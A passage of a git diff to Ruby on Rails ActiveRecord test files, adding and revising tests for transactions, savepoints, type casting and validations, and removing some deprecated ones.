- assert_raises(ActiveRecord::TransactionIsolationError) do
- Tag.transaction(isolation: :serializable) { }
+ test "setting isolation when joining a transaction raises an error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(isolation: :serializable) { }
+ end
end
end
- end
- test "setting isolation when starting a nested transaction raises error" do
- Tag.transaction do
- assert_raises(ActiveRecord::TransactionIsolationError) do
- Tag.transaction(requires_new: true, isolation: :serializable) { }
+ test "setting isolation when starting a nested transaction raises error" do
+ Tag.transaction do
+ assert_raises(ActiveRecord::TransactionIsolationError) do
+ Tag.transaction(requires_new: true, isolation: :serializable) { }
+ end
end
end
end
diff --git a/activerecord/test/cases/transactions_test.rb b/activerecord/test/cases/transactions_test.rb
index fdca10f4fb..cf50bd4ddb 100644
--- a/activerecord/test/cases/transactions_test.rb
+++ b/activerecord/test/cases/transactions_test.rb
@@ -2,20 +2,27 @@ require "cases/helper"
require 'models/topic'
require 'models/reply'
require 'models/developer'
+require 'models/computer'
require 'models/book'
require 'models/author'
require 'models/post'
+require 'models/movie'
class TransactionTest < ActiveRecord::TestCase
self.use_transactional_fixtures = false
fixtures :topics, :developers, :authors, :posts
def setup
- @first, @second = Topic.find(1, 2).sort_by { |t| t.id }
+ @first, @second = Topic.find(1, 2).sort_by(&:id)
+ end
+
+ def test_persisted_in_a_model_with_custom_primary_key_after_failed_save
+ movie = Movie.create
+ assert !movie.persisted?
end
def test_raise_after_destroy
- refute @first.frozen?
+ assert_not @first.frozen?
assert_raises(RuntimeError) {
Topic.transaction do
@@ -26,7 +33,7 @@ class TransactionTest < ActiveRecord::TestCase
}
assert @first.reload
- refute @first.frozen?
+ assert_not @first.frozen?
end
def test_successful
@@ -74,6 +81,30 @@ class TransactionTest < ActiveRecord::TestCase
end
end
+ def test_number_of_transactions_in_commit
+ num = nil
+
+ Topic.connection.class_eval do
+ alias :real_commit_db_transaction :commit_db_transaction
+ define_method(:commit_db_transaction) do
+ num = transaction_manager.open_transactions
+ real_commit_db_transaction
+ end
+ end
+
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+ end
+
+ assert_equal 0, num
+ ensure
+ Topic.connection.class_eval do
+ remove_method :commit_db_transaction
+ alias :commit_db_transaction :real_commit_db_transaction rescue nil
+ end
+ end
+
def test_successful_with_instance_method
@first.transaction do
@first.approved = true
@@ -117,21 +148,48 @@ class TransactionTest < ActiveRecord::TestCase
assert !Topic.find(1).approved?
end
- def test_update_attributes_should_rollback_on_failure
+ def test_rolling_back_in_a_callback_rollbacks_before_save
+ def @first.before_save_for_transaction
+ raise ActiveRecord::Rollback
+ end
+ assert !@first.approved
+
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+ end
+ assert !Topic.find(@first.id).approved?, "Should not commit the approved flag"
+ end
+
+ def test_raising_exception_in_nested_transaction_restore_state_in_save
+ topic = Topic.new
+
+ def topic.after_save_for_transaction
+ raise 'Make the transaction rollback'
+ end
+
+ assert_raises(RuntimeError) do
+ Topic.transaction { topic.save }
+ end
+
+ assert topic.new_record?, "#{topic.inspect} should be new record"
+ end
+
+ def test_update_should_rollback_on_failure
author = Author.find(1)
posts_count = author.posts.size
assert posts_count > 0
- status = author.update_attributes(:name => nil, :post_ids => [])
+ status = author.update(name: nil, post_ids: [])
assert !status
assert_equal posts_count, author.posts(true).size
end
- def test_update_attributes_should_rollback_on_failure!
+ def test_update_should_rollback_on_failure!
author = Author.find(1)
posts_count = author.posts.size
assert posts_count > 0
assert_raise(ActiveRecord::RecordInvalid) do
- author.update_attributes!(:name => nil, :post_ids => [])
+ author.update!(name: nil, post_ids: [])
end
assert_equal posts_count, author.posts(true).size
end
@@ -361,6 +419,56 @@ class TransactionTest < ActiveRecord::TestCase
assert_equal "Three", @three
end if Topic.connection.supports_savepoints?
+ def test_using_named_savepoints
+ Topic.transaction do
+ @first.approved = true
+ @first.save!
+ Topic.connection.create_savepoint("first")
+
+ @first.approved = false
+ @first.save!
+ Topic.connection.rollback_to_savepoint("first")
+ assert @first.reload.approved?
+
+ @first.approved = false
+ @first.save!
+ Topic.connection.release_savepoint("first")
+ assert_not @first.reload.approved?
+ end
+ end if Topic.connection.supports_savepoints?
+
+ def test_releasing_named_savepoints
+ Topic.transaction do
+ Topic.connection.create_savepoint("another")
+ Topic.connection.release_savepoint("another")
+
+ # The savepoint is now gone and we can't remove it again.
+ assert_raises(ActiveRecord::StatementInvalid) do
+ Topic.connection.release_savepoint("another")
+ end
+ end
+ end
+
+ def test_savepoints_name
+ Topic.transaction do
+ assert_nil Topic.connection.current_savepoint_name
+ assert_nil Topic.connection.current_transaction.savepoint_name
+
+ Topic.transaction(requires_new: true) do
+ assert_equal "active_record_1", Topic.connection.current_savepoint_name
+ assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+
+ Topic.transaction(requires_new: true) do
+ assert_equal "active_record_2", Topic.connection.current_savepoint_name
+ assert_equal "active_record_2", Topic.connection.current_transaction.savepoint_name
+ end
+
+ assert_equal "active_record_1", Topic.connection.current_savepoint_name
+ assert_equal "active_record_1", Topic.connection.current_transaction.savepoint_name
+ end
+ end
+ end
+
def test_rollback_when_commit_raises
Topic.connection.expects(:begin_db_transaction)
Topic.connection.expects(:commit_db_transaction).raises('OH NOES')
@@ -377,24 +485,66 @@ class TransactionTest < ActiveRecord::TestCase
topic = Topic.new(:title => 'test')
topic.freeze
e = assert_raise(RuntimeError) { topic.save }
- assert_equal "can't modify frozen Hash", e.message
+ assert_match(/frozen/i, e.message) # Not good enough, but we can't do much
+ # about it since there is no specific error
+ # for frozen objects.
assert !topic.persisted?, 'not persisted'
assert_nil topic.id
assert topic.frozen?, 'not frozen'
end
+ # The behavior of killed threads having a status of "aborting" was changed
+ # in Ruby 2.0, so Thread#kill on 1.9 will prematurely commit the transaction
+ # and there's nothing we can do about it.
+ if !RUBY_VERSION.start_with?('1.9') && !in_memory_db?
+ def test_rollback_when_thread_killed
+ queue = Queue.new
+ thread = Thread.new do
+ Topic.transaction do
+ @first.approved = true
+ @second.approved = false
+ @first.save
+
+ queue.push nil
+ sleep
+
+ @second.save
+ end
+ end
+
+ queue.pop
+ thread.kill
+ thread.join
+
+ assert @first.approved?, "First should still be changed in the objects"
+ assert !@second.approved?, "Second should still be changed in the objects"
+
+ assert !Topic.find(1).approved?, "First shouldn't have been approved"
+ assert Topic.find(2).approved?, "Second should still be approved"
+ end
+ end
+
def test_restore_active_record_state_for_all_records_in_a_transaction
+ topic_without_callbacks = Class.new(ActiveRecord::Base) do
+ self.table_name = 'topics'
+ end
+
topic_1 = Topic.new(:title => 'test_1')
topic_2 = Topic.new(:title => 'test_2')
+ topic_3 = topic_without_callbacks.new(:title => 'test_3')
+
Topic.transaction do
assert topic_1.save
assert topic_2.save
+ assert topic_3.save
@first.save
@second.destroy
assert topic_1.persisted?, 'persisted'
assert_not_nil topic_1.id
assert topic_2.persisted?, 'persisted'
assert_not_nil topic_2.id
+ assert topic_3.persisted?, 'persisted'
+ assert_not_nil topic_3.id
assert @first.persisted?, 'persisted'
assert_not_nil @first.id
assert @second.destroyed?, 'destroyed'
@@ -405,21 +555,13 @@ class TransactionTest < ActiveRecord::TestCase
assert_nil topic_1.id
assert !topic_2.persisted?, 'not persisted'
assert_nil topic_2.id
+ assert !topic_3.persisted?, 'not persisted'
+ assert_nil topic_3.id
assert @first.persisted?, 'persisted'
assert_not_nil @first.id
assert !@second.destroyed?, 'not destroyed'
end
- if current_adapter?(:PostgreSQLAdapter) && defined?(PGconn::PQTRANS_IDLE)
- def test_outside_transaction_works
- assert assert_deprecated { Topic.connection.outside_transaction? }
- Topic.connection.begin_db_transaction
- assert assert_deprecated { !Topic.connection.outside_transaction? }
- Topic.connection.rollback_db_transaction
- assert assert_deprecated { Topic.connection.outside_transaction? }
- end
- end
-
def test_sqlite_add_column_in_transaction
return true unless current_adapter?(:SQLite3Adapter)
@@ -449,6 +591,41 @@ class TransactionTest < ActiveRecord::TestCase
raise ActiveRecord::Rollback
end
end
+ ensure
+ begin
+ Topic.connection.remove_column('topics', 'stuff')
+ rescue
+ ensure
+ Topic.reset_column_information
+ end
+ end
+
+ def test_transactions_state_from_rollback
+ connection = Topic.connection
+ transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+ assert transaction.open?
+ assert !transaction.state.rolledback?
+ assert !transaction.state.committed?
+
+ transaction.rollback
+
+ assert transaction.state.rolledback?
+ assert !transaction.state.committed?
+ end
+
+ def test_transactions_state_from_commit
+ connection = Topic.connection
+ transaction = ActiveRecord::ConnectionAdapters::TransactionManager.new(connection).begin_transaction
+
+ assert transaction.open?
+ assert !transaction.state.rolledback?
+ assert !transaction.state.committed?
+
+ transaction.commit
+
+ assert !transaction.state.rolledback?
+ assert transaction.state.committed?
end
private
@@ -507,22 +684,22 @@ if current_adapter?(:PostgreSQLAdapter)
class ConcurrentTransactionTest < TransactionTest
# This will cause transactions to overlap and fail unless they are performed on
# separate database connections.
- def test_transaction_per_thread
- assert_nothing_raised do
- threads = (1..3).map do
+ unless in_memory_db?
+ def test_transaction_per_thread
+ threads = 3.times.map do
Thread.new do
Topic.transaction do
topic = Topic.find(1)
topic.approved = !topic.approved?
- topic.save!
+ assert topic.save!
topic.approved = !topic.approved?
- topic.save!
+ assert topic.save!
end
Topic.connection.close
end
end
- threads.each { |t| t.join }
+ threads.each(&:join)
end
end
@@ -570,19 +747,10 @@ if current_adapter?(:PostgreSQLAdapter)
Developer.connection.close
end
- threads.each { |t| t.join }
+ threads.each(&:join)
end
assert_equal original_salary, Developer.find(1).salary
end
-
- test "#transaction_joinable= is deprecated" do
- Developer.transaction do
- conn = Developer.connection
- assert conn.current_transaction.joinable?
- assert_deprecated { conn.transaction_joinable = false }
- assert !conn.current_transaction.joinable?
- end
- end
end
end
diff --git a/activerecord/test/cases/type/decimal_test.rb b/activerecord/test/cases/type/decimal_test.rb
new file mode 100644
index 0000000000..da30de373e
--- /dev/null
+++ b/activerecord/test/cases/type/decimal_test.rb
@@ -0,0 +1,38 @@
+require "cases/helper"
+
+module ActiveRecord
+ module Type
+ class DecimalTest < ActiveRecord::TestCase
+ def test_type_cast_decimal
+ type = Decimal.new
+ assert_equal BigDecimal.new("0"), type.type_cast_from_user(BigDecimal.new("0"))
+ assert_equal BigDecimal.new("123"), type.type_cast_from_user(123.0)
+ assert_equal BigDecimal.new("1"), type.type_cast_from_user(:"1")
+ end
+
+ def test_type_cast_decimal_from_float_with_large_precision
+ type = Decimal.new(precision: ::Float::DIG + 2)
+ assert_equal BigDecimal.new("123.0"), type.type_cast_from_user(123.0)
+ end
+
+ def test_type_cast_decimal_from_rational_with_precision
+ type = Decimal.new(precision: 2)
+ assert_equal BigDecimal("0.33"), type.type_cast_from_user(Rational(1, 3))
+ end
+
+ def test_type_cast_decimal_from_rational_without_precision_defaults_to_18_36
+ type = Decimal.new
+ assert_equal BigDecimal("0.333333333333333333E0"), type.type_cast_from_user(Rational(1, 3))
+ end
+
+ def test_type_cast_decimal_from_object_responding_to_d
+ value = Object.new
+ def value.to_d
+ BigDecimal.new("1")
+ end
+ type = Decimal.new
+ assert_equal BigDecimal("1"), type.type_cast_from_user(value)
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/type/integer_test.rb b/activerecord/test/cases/type/integer_test.rb
new file mode 100644
index 0000000000..5942f77e18
--- /dev/null
+++ b/activerecord/test/cases/type/integer_test.rb
@@ -0,0 +1,106 @@
+require "cases/helper"
+require "models/company"
+
+module ActiveRecord
+ module Type
+ class IntegerTest < ActiveRecord::TestCase
+ test "simple values" do
+ type = Type::Integer.new
+ assert_equal 1, type.type_cast_from_user(1)
+ assert_equal 1, type.type_cast_from_user('1')
+ assert_equal 1, type.type_cast_from_user('1ignore')
+ assert_equal 0, type.type_cast_from_user('bad1')
+ assert_equal 0, type.type_cast_from_user('bad')
+ assert_equal 1, type.type_cast_from_user(1.7)
+ assert_equal 0, type.type_cast_from_user(false)
+ assert_equal 1, type.type_cast_from_user(true)
+ assert_nil type.type_cast_from_user(nil)
+ end
+
+ test "random objects cast to nil" do
+ type = Type::Integer.new
+ assert_nil type.type_cast_from_user([1,2])
+ assert_nil type.type_cast_from_user({1 => 2})
+ assert_nil type.type_cast_from_user((1..2))
+ end
+
+ test "casting ActiveRecord models" do
+ type = Type::Integer.new
+ firm = Firm.create(:name => 'Apple')
+ assert_nil type.type_cast_from_user(firm)
+ end
+
+ test "casting objects without to_i" do
+ type = Type::Integer.new
+ assert_nil type.type_cast_from_user(::Object.new)
+ end
+
+ test "casting nan and infinity" do
+ type = Type::Integer.new
+ assert_nil type.type_cast_from_user(::Float::NAN)
+ assert_nil type.type_cast_from_user(1.0/0.0)
+ end
+
+ test "changed?" do
+ type = Type::Integer.new
+
+ assert type.changed?(5, 5, '5wibble')
+ assert_not type.changed?(5, 5, '5')
+ assert_not type.changed?(5, 5, '5.0')
+ assert_not type.changed?(nil, nil, nil)
+ end
+
+ test "values below int min value are out of range" do
+ assert_raises(::RangeError) do
+ Integer.new.type_cast_from_user("-2147483649")
+ end
+ end
+
+ test "values above int max value are out of range" do
+ assert_raises(::RangeError) do
+ Integer.new.type_cast_from_user("2147483648")
+ end
+ end
+
+ test "very small numbers are out of range" do
+ assert_raises(::RangeError) do
+ Integer.new.type_cast_from_user("-9999999999999999999999999999999")
+ end
+ end
+
+ test "very large numbers are out of range" do
+ assert_raises(::RangeError) do
+ Integer.new.type_cast_from_user("9999999999999999999999999999999")
+ end
+ end
+
+ test "normal numbers are in range" do
+ type = Integer.new
+ assert_equal(0, type.type_cast_from_user("0"))
+ assert_equal(-1, type.type_cast_from_user("-1"))
+ assert_equal(1, type.type_cast_from_user("1"))
+ end
+
+ test "int max value is in range" do
+ assert_equal(2147483647, Integer.new.type_cast_from_user("2147483647"))
+ end
+
+ test "int min value is in range" do
+ assert_equal(-2147483648, Integer.new.type_cast_from_user("-2147483648"))
+ end
+
+ test "columns with a larger limit have larger ranges" do
+ type = Integer.new(limit: 8)
+
+ assert_equal(9223372036854775807, type.type_cast_from_user("9223372036854775807"))
+ assert_equal(-9223372036854775808, type.type_cast_from_user("-9223372036854775808"))
+ assert_raises(::RangeError) do
+ type.type_cast_from_user("-9999999999999999999999999999999")
+ end
+ assert_raises(::RangeError) do
+ type.type_cast_from_user("9999999999999999999999999999999")
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/type/string_test.rb b/activerecord/test/cases/type/string_test.rb
new file mode 100644
index 0000000000..4d78f287f1
--- /dev/null
+++ b/activerecord/test/cases/type/string_test.rb
@@ -0,0 +1,36 @@
+require 'cases/helper'
+
+module ActiveRecord
+ class StringTypeTest < ActiveRecord::TestCase
+ test "type casting" do
+ type = Type::String.new
+ assert_equal "t", type.type_cast_from_user(true)
+ assert_equal "f", type.type_cast_from_user(false)
+ assert_equal "123", type.type_cast_from_user(123)
+ end
+
+ test "values are duped coming out" do
+ s = "foo"
+ type = Type::String.new
+ assert_not_same s, type.type_cast_from_user(s)
+ assert_not_same s, type.type_cast_from_database(s)
+ end
+
+ test "string mutations are detected" do
+ klass = Class.new(Base)
+ klass.table_name = 'authors'
+
+ author = klass.create!(name: 'Sean')
+ assert_not author.changed?
+
+ author.name << ' Griffin'
+ assert author.name_changed?
+
+ author.save!
+ author.reload
+
+ assert_equal 'Sean Griffin', author.name
+ assert_not author.changed?
+ end
+ end
+end
diff --git a/activerecord/test/cases/type/type_map_test.rb b/activerecord/test/cases/type/type_map_test.rb
new file mode 100644
index 0000000000..172c6dfc4c
--- /dev/null
+++ b/activerecord/test/cases/type/type_map_test.rb
@@ -0,0 +1,177 @@
+require "cases/helper"
+
+module ActiveRecord
+ module Type
+ class TypeMapTest < ActiveRecord::TestCase
+ def test_default_type
+ mapping = TypeMap.new
+
+ assert_kind_of Value, mapping.lookup(:undefined)
+ end
+
+ def test_registering_types
+ boolean = Boolean.new
+ mapping = TypeMap.new
+
+ mapping.register_type(/boolean/i, boolean)
+
+ assert_equal mapping.lookup('boolean'), boolean
+ end
+
+ def test_overriding_registered_types
+ time = Time.new
+ timestamp = DateTime.new
+ mapping = TypeMap.new
+
+ mapping.register_type(/time/i, time)
+ mapping.register_type(/time/i, timestamp)
+
+ assert_equal mapping.lookup('time'), timestamp
+ end
+
+ def test_fuzzy_lookup
+ string = String.new
+ mapping = TypeMap.new
+
+ mapping.register_type(/varchar/i, string)
+
+ assert_equal mapping.lookup('varchar(20)'), string
+ end
+
+ def test_aliasing_types
+ string = String.new
+ mapping = TypeMap.new
+
+ mapping.register_type(/string/i, string)
+ mapping.alias_type(/varchar/i, 'string')
+
+ assert_equal mapping.lookup('varchar'), string
+ end
+
+ def test_changing_type_changes_aliases
+ time = Time.new
+ timestamp = DateTime.new
+ mapping = TypeMap.new
+
+ mapping.register_type(/timestamp/i, time)
+ mapping.alias_type(/datetime/i, 'timestamp')
+ mapping.register_type(/timestamp/i, timestamp)
+
+ assert_equal mapping.lookup('datetime'), timestamp
+ end
+
+ def test_aliases_keep_metadata
+ mapping = TypeMap.new
+
+ mapping.register_type(/decimal/i) { |sql_type| sql_type }
+ mapping.alias_type(/number/i, 'decimal')
+
+ assert_equal mapping.lookup('number(20)'), 'decimal(20)'
+ assert_equal mapping.lookup('number'), 'decimal'
+ end
+
+ def test_register_proc
+ string = String.new
+ binary = Binary.new
+ mapping = TypeMap.new
+
+ mapping.register_type(/varchar/i) do |type|
+ if type.include?('(')
+ string
+ else
+ binary
+ end
+ end
+
+ assert_equal mapping.lookup('varchar(20)'), string
+ assert_equal mapping.lookup('varchar'), binary
+ end
+
+ def test_additional_lookup_args
+ mapping = TypeMap.new
+
+ mapping.register_type(/varchar/i) do |type, limit|
+ if limit > 255
+ 'text'
+ else
+ 'string'
+ end
+ end
+ mapping.alias_type(/string/i, 'varchar')
+
+ assert_equal mapping.lookup('varchar', 200), 'string'
+ assert_equal mapping.lookup('varchar', 400), 'text'
+ assert_equal mapping.lookup('string', 400), 'text'
+ end
+
+ def test_requires_value_or_block
+ mapping = TypeMap.new
+
+ assert_raises(ArgumentError) do
+ mapping.register_type(/only key/i)
+ end
+ end
+
+ def test_lookup_non_strings
+ mapping = HashLookupTypeMap.new
+
+ mapping.register_type(1, 'string')
+ mapping.register_type(2, 'int')
+ mapping.alias_type(3, 1)
+
+ assert_equal mapping.lookup(1), 'string'
+ assert_equal mapping.lookup(2), 'int'
+ assert_equal mapping.lookup(3), 'string'
+ assert_kind_of Type::Value, mapping.lookup(4)
+ end
+
+ def test_fetch
+ mapping = TypeMap.new
+ mapping.register_type(1, "string")
+
+ assert_equal "string", mapping.fetch(1) { "int" }
+ assert_equal "int", mapping.fetch(2) { "int" }
+ end
+
+ def test_fetch_yields_args
+ mapping = TypeMap.new
+
+ assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+ assert_equal "bar-1-2-3", mapping.fetch("bar", 1, 2, 3) { |*args| args.join("-") }
+ end
+
+ def test_fetch_memoizes
+ mapping = TypeMap.new
+
+ looked_up = false
+ mapping.register_type(1) do
+ fail if looked_up
+ looked_up = true
+ "string"
+ end
+
+ assert_equal "string", mapping.fetch(1)
+ assert_equal "string", mapping.fetch(1)
+ end
+
+ def test_fetch_memoizes_on_args
+ mapping = TypeMap.new
+ mapping.register_type("foo") { |*args| args.join("-") }
+
+ assert_equal "foo-1-2-3", mapping.fetch("foo", 1, 2, 3) { |*args| args.join("-") }
+ assert_equal "foo-2-3-4", mapping.fetch("foo", 2, 3, 4) { |*args| args.join("-") }
+ end
+
+ def test_register_clears_cache
+ mapping = TypeMap.new
+
+ mapping.register_type(1, "string")
+ mapping.lookup(1)
+ mapping.register_type(1, "int")
+
+ assert_equal "int", mapping.lookup(1)
+ end
+ end
+ end
+end
+
diff --git a/activerecord/test/cases/types_test.rb b/activerecord/test/cases/types_test.rb
new file mode 100644
index 0000000000..b0979cbe1f
--- /dev/null
+++ b/activerecord/test/cases/types_test.rb
@@ -0,0 +1,124 @@
+require "cases/helper"
+
+module ActiveRecord
+ module ConnectionAdapters
+ class TypesTest < ActiveRecord::TestCase
+ def test_type_cast_boolean
+ type = Type::Boolean.new
+ assert type.type_cast_from_user('').nil?
+ assert type.type_cast_from_user(nil).nil?
+
+ assert type.type_cast_from_user(true)
+ assert type.type_cast_from_user(1)
+ assert type.type_cast_from_user('1')
+ assert type.type_cast_from_user('t')
+ assert type.type_cast_from_user('T')
+ assert type.type_cast_from_user('true')
+ assert type.type_cast_from_user('TRUE')
+ assert type.type_cast_from_user('on')
+ assert type.type_cast_from_user('ON')
+
+ # explicitly check for false vs nil
+ assert_equal false, type.type_cast_from_user(false)
+ assert_equal false, type.type_cast_from_user(0)
+ assert_equal false, type.type_cast_from_user('0')
+ assert_equal false, type.type_cast_from_user('f')
+ assert_equal false, type.type_cast_from_user('F')
+ assert_equal false, type.type_cast_from_user('false')
+ assert_equal false, type.type_cast_from_user('FALSE')
+ assert_equal false, type.type_cast_from_user('off')
+ assert_equal false, type.type_cast_from_user('OFF')
+ assert_deprecated do
+ assert_equal false, type.type_cast_from_user(' ')
+ assert_equal false, type.type_cast_from_user("\u3000\r\n")
+ assert_equal false, type.type_cast_from_user("\u0000")
+ assert_equal false, type.type_cast_from_user('SOMETHING RANDOM')
+ end
+ end
+
+ def test_type_cast_float
+ type = Type::Float.new
+ assert_equal 1.0, type.type_cast_from_user("1")
+ end
+
+ def test_changing_float
+ type = Type::Float.new
+
+ assert type.changed?(5.0, 5.0, '5wibble')
+ assert_not type.changed?(5.0, 5.0, '5')
+ assert_not type.changed?(5.0, 5.0, '5.0')
+ assert_not type.changed?(nil, nil, nil)
+ end
+
+ def test_type_cast_binary
+ type = Type::Binary.new
+ assert_equal nil, type.type_cast_from_user(nil)
+ assert_equal "1", type.type_cast_from_user("1")
+ assert_equal 1, type.type_cast_from_user(1)
+ end
+
+ def test_type_cast_time
+ type = Type::Time.new
+ assert_equal nil, type.type_cast_from_user(nil)
+ assert_equal nil, type.type_cast_from_user('')
+ assert_equal nil, type.type_cast_from_user('ABC')
+
+ time_string = Time.now.utc.strftime("%T")
+ assert_equal time_string, type.type_cast_from_user(time_string).strftime("%T")
+ end
+
+ def test_type_cast_datetime_and_timestamp
+ type = Type::DateTime.new
+ assert_equal nil, type.type_cast_from_user(nil)
+ assert_equal nil, type.type_cast_from_user('')
+ assert_equal nil, type.type_cast_from_user(' ')
+ assert_equal nil, type.type_cast_from_user('ABC')
+
+ datetime_string = Time.now.utc.strftime("%FT%T")
+ assert_equal datetime_string, type.type_cast_from_user(datetime_string).strftime("%FT%T")
+ end
+
+ def test_type_cast_date
+ type = Type::Date.new
+ assert_equal nil, type.type_cast_from_user(nil)
+ assert_equal nil, type.type_cast_from_user('')
+ assert_equal nil, type.type_cast_from_user(' ')
+ assert_equal nil, type.type_cast_from_user('ABC')
+
+ date_string = Time.now.utc.strftime("%F")
+ assert_equal date_string, type.type_cast_from_user(date_string).strftime("%F")
+ end
+
+ def test_type_cast_duration_to_integer
+ type = Type::Integer.new
+ assert_equal 1800, type.type_cast_from_user(30.minutes)
+ assert_equal 7200, type.type_cast_from_user(2.hours)
+ end
+
+ def test_string_to_time_with_timezone
+ [:utc, :local].each do |zone|
+ with_timezone_config default: zone do
+ type = Type::DateTime.new
+ assert_equal Time.utc(2013, 9, 4, 0, 0, 0), type.type_cast_from_user("Wed, 04 Sep 2013 03:00:00 EAT")
+ end
+ end
+ end
+
+ def test_type_equality
+ assert_equal Type::Value.new, Type::Value.new
+ assert_not_equal Type::Value.new, Type::Integer.new
+ assert_not_equal Type::Value.new(precision: 1), Type::Value.new(precision: 2)
+ end
+
+ if current_adapter?(:SQLite3Adapter)
+ def test_binary_encoding
+ type = SQLite3Binary.new
+ utf8_string = "a string".encode(Encoding::UTF_8)
+ type_cast = type.type_cast_from_user(utf8_string)
+
+ assert_equal Encoding::ASCII_8BIT, type_cast.encoding
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb
index e82ca3f93d..afb893a52c 100644
--- a/activerecord/test/cases/unconnected_test.rb
+++ b/activerecord/test/cases/unconnected_test.rb
@@ -11,7 +11,7 @@ class TestUnconnectedAdapter < ActiveRecord::TestCase
@specification = ActiveRecord::Base.remove_connection
end
- def teardown
+ teardown do
@underlying = nil
ActiveRecord::Base.establish_connection(@specification)
load_schema if in_memory_db?
diff --git a/activerecord/test/cases/validations/association_validation_test.rb b/activerecord/test/cases/validations/association_validation_test.rb
index 7ac34bc71e..e4edc437e6 100644
--- a/activerecord/test/cases/validations/association_validation_test.rb
+++ b/activerecord/test/cases/validations/association_validation_test.rb
@@ -1,39 +1,13 @@
-# encoding: utf-8
require "cases/helper"
require 'models/topic'
require 'models/reply'
-require 'models/owner'
-require 'models/pet'
require 'models/man'
require 'models/interest'
class AssociationValidationTest < ActiveRecord::TestCase
- fixtures :topics, :owners
+ fixtures :topics
- repair_validations(Topic, Reply, Owner)
-
- def test_validates_size_of_association
- assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
- o = Owner.new('name' => 'nopets')
- assert !o.save
- assert o.errors[:pets].any?
- o.pets.build('name' => 'apet')
- assert o.valid?
- end
-
- def test_validates_size_of_association_using_within
- assert_nothing_raised { Owner.validates_size_of :pets, :within => 1..2 }
- o = Owner.new('name' => 'nopets')
- assert !o.save
- assert o.errors[:pets].any?
-
- o.pets.build('name' => 'apet')
- assert o.valid?
-
- 2.times { o.pets.build('name' => 'apet') }
- assert !o.save
- assert o.errors[:pets].any?
- end
+ repair_validations(Topic, Reply)
def test_validates_associated_many
Topic.validates_associated(:replies)
@@ -90,15 +64,6 @@ class AssociationValidationTest < ActiveRecord::TestCase
assert r.valid?
end
- def test_validates_size_of_association_utf8
- assert_nothing_raised { Owner.validates_size_of :pets, :minimum => 1 }
- o = Owner.new('name' => 'ã‚ã„ã†ãˆãŠã‹ããã‘ã“')
- assert !o.save
- assert o.errors[:pets].any?
- o.pets.build('name' => 'ã‚ã„ã†ãˆãŠã‹ããã‘ã“')
- assert o.valid?
- end
-
def test_validates_presence_of_belongs_to_association__parent_is_new_record
repair_validations(Interest) do
# Note that Interest and Man have the :inverse_of option set
@@ -118,21 +83,4 @@ class AssociationValidationTest < ActiveRecord::TestCase
end
end
- def test_validates_associated_models_in_the_same_context
- Topic.validates_presence_of :title, :on => :custom_context
- Topic.validates_associated :replies
- Reply.validates_presence_of :title, :on => :custom_context
-
- t = Topic.new('title' => '')
- r = t.replies.new('title' => '')
-
- assert t.valid?
- assert !t.valid?(:custom_context)
-
- t.title = "Longer"
- assert !t.valid?(:custom_context), "Should NOT be valid if the associated object is not valid in the same context."
-
- r.title = "Longer"
- assert t.valid?(:custom_context), "Should be valid if the associated object is not valid in the same context."
- end
end
diff --git a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
index 32d2bf746f..13d4d85afa 100644
--- a/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_generate_message_validation_test.rb
@@ -3,7 +3,7 @@ require 'models/topic'
class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
def setup
- Topic.reset_callbacks(:validate)
+ Topic.clear_validators!
@topic = Topic.new
I18n.backend = I18n::Backend::Simple.new
end
@@ -55,22 +55,30 @@ class I18nGenerateMessageValidationTest < ActiveRecord::TestCase
end
test "translation for 'taken' can be overridden" do
- I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {errors: {attributes: {title: {taken: "Custom taken message" }}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
test "translation for 'taken' can be overridden in activerecord scope" do
- I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {activerecord: {errors: {messages: {taken: "Custom taken message" }}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
test "translation for 'taken' can be overridden in activerecord model scope" do
- I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {taken: "Custom taken message" }}}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
test "translation for 'taken' can be overridden in activerecord attributes scope" do
- I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
- assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ reset_i18n_load_path do
+ I18n.backend.store_translations "en", {activerecord: {errors: {models: {topic: {attributes: {title: {taken: "Custom taken message" }}}}}}}
+ assert_equal "Custom taken message", @topic.errors.generate_message(:title, :taken, :value => 'title')
+ end
end
end
diff --git a/activerecord/test/cases/validations/i18n_validation_test.rb b/activerecord/test/cases/validations/i18n_validation_test.rb
index efa0c9b934..268d7914b5 100644
--- a/activerecord/test/cases/validations/i18n_validation_test.rb
+++ b/activerecord/test/cases/validations/i18n_validation_test.rb
@@ -6,6 +6,7 @@ class I18nValidationTest < ActiveRecord::TestCase
repair_validations(Topic, Reply)
def setup
